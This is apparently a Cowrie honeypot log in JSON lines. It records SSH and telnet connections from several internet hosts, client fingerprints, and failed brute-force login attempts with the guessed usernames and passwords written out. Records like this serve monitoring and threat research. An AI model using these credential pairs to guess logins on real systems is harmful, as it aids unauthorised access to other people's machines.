{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:56:34.037176Z","src_ip":"2.57.121.25","session":"1faae2c69a64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"28081993","message":"login attempt [user/28081993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:56:34.533582Z","src_ip":"2.57.121.25","session":"1faae2c69a64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":38842,"dst_ip":"159.203.135.109","dst_port":22,"session":"728308637b50","protocol":"ssh","message":"New connection: 193.32.162.145:38842 (159.203.135.109:22) [session: 728308637b50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:56:34.586810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:56:34.591321Z","src_ip":"193.32.162.145","session":"728308637b50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:56:34.686075Z","src_ip":"193.32.162.145","session":"728308637b50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"degen","password":"degen","message":"login attempt [degen/degen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:56:34.977256Z","src_ip":"193.32.162.145","session":"728308637b50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"280786","message":"login attempt [user/280786] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:56:35.642857Z","src_ip":"2.57.121.25","session":"1faae2c69a64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:56:36.074795Z","src_ip":"193.32.162.145","session":"728308637b50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"280588","message":"login attempt [user/280588] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:56:36.751115Z","src_ip":"2.57.121.25","session":"1faae2c69a64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"28051978","message":"login attempt [user/28051978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:56:37.859928Z","src_ip":"2.57.121.25","session":"1faae2c69a64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"28041993","message":"login attempt [user/28041993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:56:38.968363Z","src_ip":"2.57.121.25","session":"1faae2c69a64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:56:40.077364Z","src_ip":"2.57.121.25","session":"1faae2c69a64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":50440,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e59052280d8","protocol":"ssh","message":"New connection: 190.244.39.224:50440 (10.17.0.5:22) [session: 2e59052280d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:57:03.713515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:57:03.719327Z","src_ip":"190.244.39.224","session":"2e59052280d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:57:03.923326Z","src_ip":"190.244.39.224","session":"2e59052280d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser#2024","message":"login attempt [ftpuser/ftpuser#2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:57:04.762188Z","src_ip":"190.244.39.224","session":"2e59052280d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:57:05.968644Z","src_ip":"190.244.39.224","session":"2e59052280d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":38877,"dst_ip":"10.17.0.5","dst_port":22,"session":"268663da0066","protocol":"ssh","message":"New connection: 2.57.121.112:38877 (10.17.0.5:22) [session: 268663da0066]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:58:45.334774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:58:45.339627Z","src_ip":"2.57.121.112","session":"268663da0066","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:58:45.445322Z","src_ip":"2.57.121.112","session":"268663da0066","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"scubapro","message":"login attempt [admin/scubapro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:58:45.918815Z","src_ip":"2.57.121.112","session":"268663da0066","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":52842,"dst_ip":"159.203.135.109","dst_port":22,"session":"99f3968fbca2","protocol":"ssh","message":"New connection: 193.32.162.145:52842 (159.203.135.109:22) [session: 99f3968fbca2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:58:46.682745Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:58:46.687613Z","src_ip":"193.32.162.145","session":"99f3968fbca2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:58:46.787284Z","src_ip":"193.32.162.145","session":"99f3968fbca2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"screws","message":"login attempt [admin/screws] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:58:47.021514Z","src_ip":"2.57.121.112","session":"268663da0066","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"brain","password":"brain","message":"login attempt [brain/brain] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:58:47.090486Z","src_ip":"193.32.162.145","session":"99f3968fbca2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"screech","message":"login attempt [admin/screech] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:58:48.124721Z","src_ip":"2.57.121.112","session":"268663da0066","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:58:48.193259Z","src_ip":"193.32.162.145","session":"99f3968fbca2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"scotty1","message":"login attempt [admin/scotty1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:58:49.228082Z","src_ip":"2.57.121.112","session":"268663da0066","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"score1","message":"login attempt [admin/score1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:58:50.330396Z","src_ip":"2.57.121.112","session":"268663da0066","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:58:51.433136Z","src_ip":"2.57.121.112","session":"268663da0066","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.114.130","src_port":37942,"dst_ip":"159.203.135.109","dst_port":23,"session":"403f39852232","protocol":"telnet","message":"New connection: 47.237.114.130:37942 (159.203.135.109:23) [session: 403f39852232]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:00:05.596124Z"}
{"eventid":"cowrie.session.connect","src_ip":"130.185.239.222","src_port":38580,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f42c0769e32","protocol":"ssh","message":"New connection: 130.185.239.222:38580 (10.17.0.5:22) [session: 7f42c0769e32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:00:08.095878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:00:08.101281Z","src_ip":"130.185.239.222","session":"7f42c0769e32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:00:08.127581Z","src_ip":"130.185.239.222","session":"7f42c0769e32","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f6:46:df:bc:67:70:97:97:e4:c3:e1:2d:e7:b4:3f:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdCo101Sy8RY7TSow+hZ4RdO/smRPARIq4L/tqDs+KknnxHndBZTzTSQTqrZJ3qwIa8lcwQo07iwcOHirkHfiAmYbvY2r6H93EOrqI8BbAGD2c79BuOkJBQ84RSpVj68yWsmmv2Fp1X7qnfuW7+QuC0mzbwATpi0a8097DLPnLVdc2Pli1RTxxWdeaj8AXuC0EODl1CdIOHJ9UAdGvKy4cM1XHFtxDzz++25zkqskpeQfZdVKyqSx1eEWn9vXWl3XmmnQTNmBjZIlgCkRuXoHMIZFw4kR4kNYAg6bsc1bNuamTDR5S7G7NAlUdUN/tLoAWpvYgNgYOWZVrJpt4SjSH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f6:46:df:bc:67:70:97:97:e4:c3:e1:2d:e7:b4:3f:13","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:00:08.236247Z","src_ip":"130.185.239.222","session":"7f42c0769e32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f6:46:df:bc:67:70:97:97:e4:c3:e1:2d:e7:b4:3f:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdCo101Sy8RY7TSow+hZ4RdO/smRPARIq4L/tqDs+KknnxHndBZTzTSQTqrZJ3qwIa8lcwQo07iwcOHirkHfiAmYbvY2r6H93EOrqI8BbAGD2c79BuOkJBQ84RSpVj68yWsmmv2Fp1X7qnfuW7+QuC0mzbwATpi0a8097DLPnLVdc2Pli1RTxxWdeaj8AXuC0EODl1CdIOHJ9UAdGvKy4cM1XHFtxDzz++25zkqskpeQfZdVKyqSx1eEWn9vXWl3XmmnQTNmBjZIlgCkRuXoHMIZFw4kR4kNYAg6bsc1bNuamTDR5S7G7NAlUdUN/tLoAWpvYgNgYOWZVrJpt4SjSH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:00:08.241264Z","src_ip":"130.185.239.222","session":"7f42c0769e32","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bd:50:be:01:ca:54:59:a9:25:78:87:b3:4a:a6:87:15","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDefmCRjd3bPCZX8TfeFyqrIa+Q9mrKWR735CZVTWV/ZPCKHM0hnO1K0ua0OVVmYqezyBtg6zVTqIUIxm31MUtIHCjpQnE7TgV1ITht+aigMnl5TTyXGA7976NsCHzHdfWr3A1UfFUIQHMkR44zVFSFUZ0liNlpw7pTd3gKs6WDewzBR8ujvjf2nWWAvDhj20QpDW42bC+DCuEhJpucpwAlz8W6VYqT6B30XRYd8+5EoAwfGWRKCXNZFeahqM1gYi1kSOdmrMoQ/Iu1ATcPPeXRAWuLzPzYsOpNI1zlUPQeKGxyIPPvL7FG03Azf/nbOwm/Gwu3XrzQJ5zT/lqM55+bSlvr+Ru9vnp5YuLEjzc5pjKr40Q+LGV3qcgiuDfgukBzZRrQVtgROXldyKVWrosWSlAR5PPH+TnpB81/0qSjgOsS6WMJG5atkgzH/5L80GKiFR3HebKwAuhJwHCV001i2zF5+6B7iAVU8pWMV9cxx/MK9iVJlTHbn0vidR8rZf12QqBEv9A5essj0gSx4lCb7OEQaZ4my5+hNKttvRxT6XYrJw6DzP5YXxUN54n49GZEkCFkP39zUVkAoDaZDV6B3WAXWeKWG5UkS+9wjVZwYpYhodXiUzC9DuSVB0y2zm2gdaVhbeRy+ZD7Ad7yeDCykO/Og+mdVFWtKoJxrHmdtQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bd:50:be:01:ca:54:59:a9:25:78:87:b3:4a:a6:87:15","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:00:08.273100Z","src_ip":"130.185.239.222","session":"7f42c0769e32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bd:50:be:01:ca:54:59:a9:25:78:87:b3:4a:a6:87:15","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDefmCRjd3bPCZX8TfeFyqrIa+Q9mrKWR735CZVTWV/ZPCKHM0hnO1K0ua0OVVmYqezyBtg6zVTqIUIxm31MUtIHCjpQnE7TgV1ITht+aigMnl5TTyXGA7976NsCHzHdfWr3A1UfFUIQHMkR44zVFSFUZ0liNlpw7pTd3gKs6WDewzBR8ujvjf2nWWAvDhj20QpDW42bC+DCuEhJpucpwAlz8W6VYqT6B30XRYd8+5EoAwfGWRKCXNZFeahqM1gYi1kSOdmrMoQ/Iu1ATcPPeXRAWuLzPzYsOpNI1zlUPQeKGxyIPPvL7FG03Azf/nbOwm/Gwu3XrzQJ5zT/lqM55+bSlvr+Ru9vnp5YuLEjzc5pjKr40Q+LGV3qcgiuDfgukBzZRrQVtgROXldyKVWrosWSlAR5PPH+TnpB81/0qSjgOsS6WMJG5atkgzH/5L80GKiFR3HebKwAuhJwHCV001i2zF5+6B7iAVU8pWMV9cxx/MK9iVJlTHbn0vidR8rZf12QqBEv9A5essj0gSx4lCb7OEQaZ4my5+hNKttvRxT6XYrJw6DzP5YXxUN54n49GZEkCFkP39zUVkAoDaZDV6B3WAXWeKWG5UkS+9wjVZwYpYhodXiUzC9DuSVB0y2zm2gdaVhbeRy+ZD7Ad7yeDCykO/Og+mdVFWtKoJxrHmdtQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:00:08.277442Z","src_ip":"130.185.239.222","session":"7f42c0769e32","protocol":"ssh"}
